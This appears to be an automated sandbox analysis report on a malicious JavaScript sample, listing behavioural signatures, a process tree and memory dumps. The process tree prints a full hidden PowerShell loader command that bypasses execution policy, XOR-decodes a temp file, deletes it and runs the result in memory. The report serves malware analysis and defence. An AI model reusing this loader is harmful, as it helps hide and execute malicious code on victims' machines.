Analysis
- max time kernel
39s - max time network
39s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
30/06/2026, 14:37
General
- Target 1sssssthppy.js
- Size 2.3MB
- Sample260630-ry949ahs4v
- SHA256 3c7d9bc681e97b85adc3b943510b57927708b81d9996587ee3c1f07b8f33f14d
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\1sssssthppy.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\clr_36738_bfea').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\clr_36738_bfea' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
clr_36738_bfea
memory/3412-17-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-25-0x00000214CFFE0000-0x00000214CFFFE000-memory.dmp
memory/3412-6-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-4-0x00000214CFE60000-0x00000214CFE82000-memory.dmp
memory/3412-8-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-9-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-10-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-11-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-12-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-13-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-14-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-15-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-16-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-1-0x00007FFC730EF000-0x00007FFC730F0000-memory.dmp
memory/3412-5-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-20-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-18-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-21-0x00000214E83D0000-0x00000214E8446000-memory.dmp
memory/3412-24-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-19-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-26-0x00000214E8450000-0x00000214E8502000-memory.dmp
memory/3412-27-0x00000214CFFD0000-0x00000214CFFDA000-memory.dmp
memory/3412-28-0x00000214D0030000-0x00000214D005A000-memory.dmp
memory/3412-29-0x00000214D0030000-0x00000214D0054000-memory.dmp
memory/3412-30-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-31-0x00000214CFFE0000-0x00000214CFFFE000-memory.dmp
memory/3412-32-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp
memory/3412-33-0x00000214D0000000-0x00000214D0008000-memory.dmp
memory/3412-35-0x00007FFC72F60000-0x00007FFC73904000-memory.dmp